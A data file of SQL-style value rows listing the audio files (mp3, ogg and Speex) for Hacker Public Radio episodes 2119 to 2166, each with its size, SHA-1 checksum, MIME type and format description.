(2119,'hpr2119.mp3','mp3',19765446,'221479985bcb5cad20f53fb0dab13c3559226d6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2119,'hpr2119.ogg','ogg',21888583,'3ab06596bda3341f0dad14167b841bcece05451a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2119,'hpr2119.spx','spx',8827230,'4801f512f266a2308a85a0c594abd4ee9cf59e69','application/ogg; charset=binary','Ogg data, Speex audio'),
(2120,'hpr2120.mp3','mp3',6518053,'372907ccb24f31192ac487d8f608c89a2ac9f1da','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2120,'hpr2120.ogg','ogg',6548237,'dd9ea4aaa6a130accbb54ce2ef073ac54ab8c08f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2120,'hpr2120.spx','spx',2910794,'9f85b649b25ae0bb1bd25a6419c4419d16b73eba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2121,'hpr2121.mp3','mp3',14620970,'5f2b014bd9cd3891e7f733fab96d60e2b16c9032','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2121,'hpr2121.ogg','ogg',15082500,'93b2e79d9f35f5c1481243c717be306c5b8f03be','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2121,'hpr2121.spx','spx',6529554,'f42062671a36f42bd63133f48bddc9532148116b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2122,'hpr2122.mp3','mp3',5116968,'201dbd06c5371f6053a55cf43e977a72e3e68d00','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2122,'hpr2122.ogg','ogg',4826082,'9bcf39faa90ebbfe25690b39c1f4fd15f9ab8055','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2122,'hpr2122.spx','spx',2284937,'3f98e9fdbb5efa788c8440e60fc8bffacfa96337','application/ogg; charset=binary','Ogg data, Speex audio'),
(2123,'hpr2123.mp3','mp3',3867072,'faab70cf919dd4d3a3be3c7f79cf95ee225427b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2123,'hpr2123.ogg','ogg',3676451,'2d4601a4d0a667d7381d792b60b43b6f0b8941d1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2123,'hpr2123.spx','spx',1726732,'073f78a78756ae9674ecbd66e9eb5691f671d656','application/ogg; charset=binary','Ogg data, Speex audio'),
(2124,'hpr2124.mp3','mp3',10475274,'84d1f93ceb1ab15fb53ec3d9906615c7fcc8d737','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2124,'hpr2124.ogg','ogg',11920228,'9a36be09f89fc98a4f323877eb99def6a4c86889','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2124,'hpr2124.spx','spx',4678062,'ad4c5fd1a31a0da08192002ac9db55307ce46086','application/ogg; charset=binary','Ogg data, Speex audio'),
(2125,'hpr2125.mp3','mp3',2234958,'d760c33dd3e8669421c2b0433d1f83e2197d6ecf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2125,'hpr2125.ogg','ogg',2288669,'16f4537ed392f60dc22a9fb040cb36f707d059a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2125,'hpr2125.spx','spx',997878,'be639665878ae1a18bc071e5b0a39063e86e7818','application/ogg; charset=binary','Ogg data, Speex audio'),
(2126,'hpr2126.mp3','mp3',4691496,'fbb272978ec85431b523cc82b2482dfa77464dd9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2126,'hpr2126.ogg','ogg',4480588,'547b61a1052998c066b5ce06927f9fd9137cda6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2126,'hpr2126.spx','spx',2095015,'22a4343c2ba792a0bb9adebf2d49cfd30fe81881','application/ogg; charset=binary','Ogg data, Speex audio'),
(2127,'hpr2127.mp3','mp3',16665414,'4c794bc3738e5d48380b4e65ad5e27b4a38a5d45','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2127,'hpr2127.ogg','ogg',16207743,'ac5cee564859530188428ee97224a59cd6b32d64','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2127,'hpr2127.spx','spx',7442648,'bb4f3f0876c2f017a89bbe9765501a55e645169f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2128,'hpr2128.mp3','mp3',7929908,'925e3fc88d7cb0d7657367cbe8d2fc22e8862af8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2128,'hpr2128.ogg','ogg',7881681,'1f7fbfbfac011601407656d20d299365829bc501','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2128,'hpr2128.spx','spx',3541310,'560e04175209c157fd25d33dbfda6aabfb0da513','application/ogg; charset=binary','Ogg data, Speex audio'),
(2129,'hpr2129.mp3','mp3',13851528,'781a3ccdf2f4776a80f42aed52981ee3fcbc2198','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2129,'hpr2129.ogg','ogg',15409920,'9f5a42e568537107347907ba2d263910346969cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2129,'hpr2129.spx','spx',6185950,'2be9e5e8f0647361c342c8e35f087922811ef010','application/ogg; charset=binary','Ogg data, Speex audio'),
(2130,'hpr2130.mp3','mp3',11982641,'e7c8bdf0ff8bca2543b57ba2ad153240b456b0ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2130,'hpr2130.ogg','ogg',12447001,'27edf811af087e808ce34fd958588399cd37083e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2130,'hpr2130.spx','spx',5351342,'290f85fb21a7bfd98657ab2964edd680e3c2585e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2131,'hpr2131.mp3','mp3',40527134,'dd53d3f74b6bca3498f532083e5d2392d8371ba4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2131,'hpr2131.ogg','ogg',40122732,'4f922a5f9b5bab7cec5542e493e9dd30e5000c36','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2131,'hpr2131.spx','spx',18099546,'cb655fc7a4c632dc866a5f0cb4e1e97fcec2ab43','application/ogg; charset=binary','Ogg data, Speex audio'),
(2132,'hpr2132.mp3','mp3',11960013,'3deb6ef445051ff6cb9c870e2e9f72006d566271','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2132,'hpr2132.ogg','ogg',12543808,'327fb2d6822a8b092a9481a66d045f8a4d554b0d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2132,'hpr2132.spx','spx',5341190,'2e61ce179a4bda5acf050e3c623934066f805bea','application/ogg; charset=binary','Ogg data, Speex audio'),
(2133,'hpr2133.mp3','mp3',11071052,'41edf82e31fd09a6c3bc1f33aa3c01cbecf192a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2133,'hpr2133.ogg','ogg',12561976,'c6182ebceac64d224da98db4c7bf5d4ef42ef7e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2133,'hpr2133.spx','spx',4944145,'9fb18bc3e070b6bdd27bb943fe495e4630e75b50','application/ogg; charset=binary','Ogg data, Speex audio'),
(2134,'hpr2134.mp3','mp3',7760602,'0c6a6d02137dfef3c4d27cd26c7cdfc6bc0e9b1e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2134,'hpr2134.ogg','ogg',8373504,'534d026ac595bdb3e8f6c60d280dc4c2140e0ca9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2134,'hpr2134.spx','spx',3465673,'565ebff24edc212b4d3d25b4d48fbc1eff33953b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2135,'hpr2135.mp3','mp3',14919655,'5ea8ec79dd29b3b4458425b7c14951ee33e70d7c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2135,'hpr2135.ogg','ogg',16962786,'0502913bb93a05a6880fd5f44028268ecb515bbc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2135,'hpr2135.spx','spx',6663029,'d7502d6185a94bd23ca3973404f31365cd97f8bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2136,'hpr2136.mp3','mp3',8991467,'bd38d5b156bc170bb5b9dc3bd40cdea3d484c1fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2136,'hpr2136.ogg','ogg',9214149,'053e8e91350638380f4be14a952d25d63df0b422','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2136,'hpr2136.spx','spx',4015387,'c3f4e277370b2bba996544b80846d656dd58b13a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2137,'hpr2137.mp3','mp3',3289285,'dced582decf38c1ac085fce035eb4b54e56e18c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2137,'hpr2137.ogg','ogg',3653218,'ad7853d4dbd782813f1423ae4b9cfe54544d65cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2137,'hpr2137.spx','spx',1468747,'e1cfe88891f9c8a606ecf4827db11be8f73b050a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2138,'hpr2138.mp3','mp3',7401773,'b4186e1dc9732d7e031f3121fb81969d91a7622e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2138,'hpr2138.ogg','ogg',7258415,'cc8f35f940e56c66062702c1deebac0d1c1dc128','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2138,'hpr2138.spx','spx',3305383,'4255eca85c9259854864354c5b63af92cd296360','application/ogg; charset=binary','Ogg data, Speex audio'),
(2139,'hpr2139.mp3','mp3',4680012,'66f513c3834924b2859226c5d2c2b68889d47e45','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2139,'hpr2139.ogg','ogg',5609263,'cf1930ae2813f4d9e7b16ccc545ae859cd71efc9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2139,'hpr2139.spx','spx',2089814,'2f4ee9acd8ba2b0a4e68eea503ba4df9fc7ebc5e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2140,'hpr2140.mp3','mp3',13799692,'a2fd84f2397036e43edd11bbaf9e03e76a67284b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2140,'hpr2140.ogg','ogg',14304384,'378864cd2441d4a1ed9addabd8ab111133cdb8de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2140,'hpr2140.spx','spx',6162846,'108fbcdd336fb0db201d41572677432e3be1fc17','application/ogg; charset=binary','Ogg data, Speex audio'),
(2141,'hpr2141.mp3','mp3',17810428,'576fc201f47deed86a731ce493d1e0b4e35b90d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2141,'hpr2141.ogg','ogg',18412198,'6de5ce61f6227823470d0a194e12d27435a36b40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2141,'hpr2141.spx','spx',7954007,'bb6c00d6ffad5e49c206c80bed2d19ea6e56be9d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2142,'hpr2142.mp3','mp3',8569136,'0078a7515596e4848f3930d9a79da49cc11f932b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2142,'hpr2142.ogg','ogg',9350712,'d14b4ec6a59de6d80fdf1f7a4e9c303c8a7dcbe8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2142,'hpr2142.spx','spx',3826750,'dc764ddd9a482cc9394391a39cbab19248345026','application/ogg; charset=binary','Ogg data, Speex audio'),
(2143,'hpr2143.mp3','mp3',15988750,'f18f2b05877565bb6cde080624c5d2f752748c86','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2143,'hpr2143.ogg','ogg',16826004,'fd48c09d56caadac5959169339777b4d51739eab','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2143,'hpr2143.spx','spx',7140458,'a3e218e110c16ff9bd47e4775cf49b46c64674b9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2144,'hpr2144.mp3','mp3',4944467,'6a1ecfff9528ca36f2dc94f0bbcb148b2273888c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2144,'hpr2144.ogg','ogg',5134589,'f6dad42e46eee09b88ec087915b55cab4f84fbf1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2144,'hpr2144.spx','spx',2208030,'d0ffe6e5225bb2396854e4f7699cfacb95594dfa','application/ogg; charset=binary','Ogg data, Speex audio'),
(2145,'hpr2145.mp3','mp3',12986559,'8cb36b6d37ae1d17022f15f35d4f92d49a3face1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2145,'hpr2145.ogg','ogg',14428849,'927fe795034d0d947b0337c1b7d379dd9f9d2dbf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2145,'hpr2145.spx','spx',5799709,'f2b8def6e3a57e42ea891677b1fd079fcd9f0c27','application/ogg; charset=binary','Ogg data, Speex audio'),
(2146,'hpr2146.mp3','mp3',10106384,'4c6a9e2f3a16915d29f9f1573188729007afe0f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2146,'hpr2146.ogg','ogg',10614509,'1cd7c3c8a9bfb87c4fbb843deab910c246a14b3b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2146,'hpr2146.spx','spx',4513383,'6868bc6e421a838f3403e124391971c5416c5e91','application/ogg; charset=binary','Ogg data, Speex audio'),
(2147,'hpr2147.mp3','mp3',7920903,'a459153213978bd6dedac2bac1c69313c8309423','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2147,'hpr2147.ogg','ogg',7825118,'4a4167fe28af336e89bb0b3ac71fafca16dd957f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2147,'hpr2147.spx','spx',3537288,'55ba16f0621dca87fb8850cd70a0191e3d64fcb3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2148,'hpr2148.mp3','mp3',6615203,'a4ba508934a7f9636a51f211bf1f3c178da3110d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2148,'hpr2148.ogg','ogg',6437635,'81cf72b02f33e42b4abc578ca756568e20f5c5b9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2148,'hpr2148.spx','spx',2954135,'c51690b2bc5a3f156efbf6bd5a7ce25e68917a2e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2149,'hpr2149.mp3','mp3',9395033,'5738cc28f3f5cc7dc9ef737da28555ca355ebc1a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2149,'hpr2149.ogg','ogg',9393011,'972a9a1aad36cce698819abae0cd900123999a1c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2149,'hpr2149.spx','spx',4195638,'b39d5c498ea8a81456d8dc4bb35b60bcaa33e04d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2150,'hpr2150.mp3','mp3',36127500,'c748d31a91c58247e9960a672b49fb750617d3cf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2150,'hpr2150.ogg','ogg',38663351,'dd2584ec341b645fc3d574c917f75994019b0b49','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2150,'hpr2150.spx','spx',16134619,'138242a6ab955d74182858fca73c252e78915c1d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2151,'hpr2151.mp3','mp3',5426534,'ae156b744485672d8cc960c5bccf2d71f50b1f39','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2151,'hpr2151.ogg','ogg',5738804,'94ac5c438671c792784da97a2de0ea2337c54458','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2151,'hpr2151.spx','spx',2423281,'c8338e02a3bdf20bf653ac5d61e4f50bfc5e8ee7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2152,'hpr2152.mp3','mp3',6832101,'1797448ac26be5483c874efc46416620d1fc94d9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2152,'hpr2152.ogg','ogg',7167507,'7738fe086672cdf1213cf3d7949d40e2eb6c726e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2152,'hpr2152.spx','spx',3051010,'1a420a05e9edc5af3b22a28cf62f3d5dd15021ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(2153,'hpr2153.mp3','mp3',9854135,'dde3cfbab03a3701dfc4392356cd262bf9496c17','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2153,'hpr2153.ogg','ogg',10584897,'6df23b1e0978a692f960454d2bd81c3292fec8e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2153,'hpr2153.spx','spx',4400606,'edca57299621b3bcbe45e8e776b7303d0640b216','application/ogg; charset=binary','Ogg data, Speex audio'),
(2154,'hpr2154.mp3','mp3',14420992,'443dd7d1ea47bddb1fde2e9471374d51e6b0e4bf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2154,'hpr2154.ogg','ogg',16244740,'96b059e4c86b02ce051587598209b3b8932e16e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2154,'hpr2154.spx','spx',6440254,'40ec6a86a31b583ab8921b354cb20f0e8065ebd5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2155,'hpr2155.mp3','mp3',10058717,'4d081af47c09558560b1d4a40f4b923c73a1fa1b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2155,'hpr2155.ogg','ogg',12190917,'b5765d44824916a14393f6a333d15c53093dda66','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2155,'hpr2155.spx','spx',4492000,'8b119ad37d5f603c2f32e8d1ccaf09e7bea44327','application/ogg; charset=binary','Ogg data, Speex audio'),
(2156,'hpr2156.mp3','mp3',38130134,'ef414bfc92843765ec550401858adf788e7335aa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2156,'hpr2156.ogg','ogg',37247552,'65fe38a662903481d942f9f16fc22fb1790ecaf7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2156,'hpr2156.spx','spx',17029060,'2538ab8554df230eb9a3f5976cd9a2f377c075f5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2157,'hpr2157.mp3','mp3',5138985,'5f302c81c8525b9c291b65bddaf8b405b5475c63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2157,'hpr2157.ogg','ogg',5499198,'9cfa212f73f4c3c2b8a0540eb6810e26fdc13660','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2157,'hpr2157.spx','spx',2294820,'74865bc706c2ba1b830c431f1fb846910c80dc13','application/ogg; charset=binary','Ogg data, Speex audio'),
(2158,'hpr2158.mp3','mp3',4022348,'954ba49b0b45fd4702d450d3774c21998d038034','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2158,'hpr2158.ogg','ogg',4580130,'7b7d052774b5721cadc2d8d122d57f42afbd8e38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2158,'hpr2158.spx','spx',1796109,'1b19c20542340a2cc1cfdd068a298e87bd46946c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2159,'hpr2159.mp3','mp3',7748454,'2d3fc021b6008d43828c189284be1514ef34011c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2159,'hpr2159.ogg','ogg',8129093,'9b251f68bc79acf24f90a73b21bdbbbdb711d876','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2159,'hpr2159.spx','spx',3460222,'fbfbd6812186d86848460a0b537274dfed381823','application/ogg; charset=binary','Ogg data, Speex audio'),
(2160,'hpr2160.mp3','mp3',3815734,'77c2059d0aa7897936d289c2a89c0c8f0a56d061','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2160,'hpr2160.ogg','ogg',4165347,'efefd0f874ed76ae0d2d060bc0120d201756d649','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2160,'hpr2160.spx','spx',1703878,'bc5e2d046886c62a851b787d6b2a89f94bd45eb2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2161,'hpr2161.mp3','mp3',3020513,'ea514b9e4d5b82a6fe6eb20fed125cfeb27184f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2161,'hpr2161.ogg','ogg',3391218,'e9c61f8338fb5240ae9ec058dacb2a714bb52ad2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2161,'hpr2161.spx','spx',1348729,'b27d16c14e45eeec07f15d3e61c09c5a24fb3de1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2162,'hpr2162.mp3','mp3',11253105,'25d8b36b4152528dec97ed093d56a643c9fdd6fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2162,'hpr2162.ogg','ogg',12513124,'58ae2844382db9eff5cf4761cbf9a3d473ac33a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2162,'hpr2162.spx','spx',5025487,'196303e86a102d0b3cdf20fb9734b50bf9ceeff4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2163,'hpr2163.mp3','mp3',16026585,'c96d0715d4f33fa51ea9e35937284b018c8c6c38','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2163,'hpr2163.ogg','ogg',18193035,'88b4501e6d276f4757cc652a6875a68fe5e84d4b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2163,'hpr2163.spx','spx',7157331,'7e853699364814c0674cf5476b34b6cad48201e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2164,'hpr2164.mp3','mp3',10908245,'432026a5980f2192efddabf05162484702d0a15a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2164,'hpr2164.ogg','ogg',11277314,'7f7210821b42903a91539ecb181734290c312a02','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2164,'hpr2164.spx','spx',4871396,'6adb11664ee15722018b9ddb5828c02f07e4afb5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2165,'hpr2165.mp3','mp3',18338398,'9b5edb36ace8c6bea165f5f5947c6c9dd6c0a1b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2165,'hpr2165.ogg','ogg',15568112,'16d86f919dfc7ab41e285ae7e9ab565f9c07a7b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2165,'hpr2165.spx','spx',8189906,'17a359c13bf9f8f586079c5ec151d5a242b8eca1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2166,'hpr2166.mp3','mp3',8160172,'bf3033e6326f3e5a62d40833ab5176b4d15aed1c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2166,'hpr2166.ogg','ogg',9139911,'ede2a4299bbafc0f7bf6f146fcf5e2e08f36b597','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2166,'hpr2166.spx','spx',3644193,'a446c399cdda85f752bc57d903a63f73dc872504','application/ogg; charset=binary','Ogg data, Speex audio'),
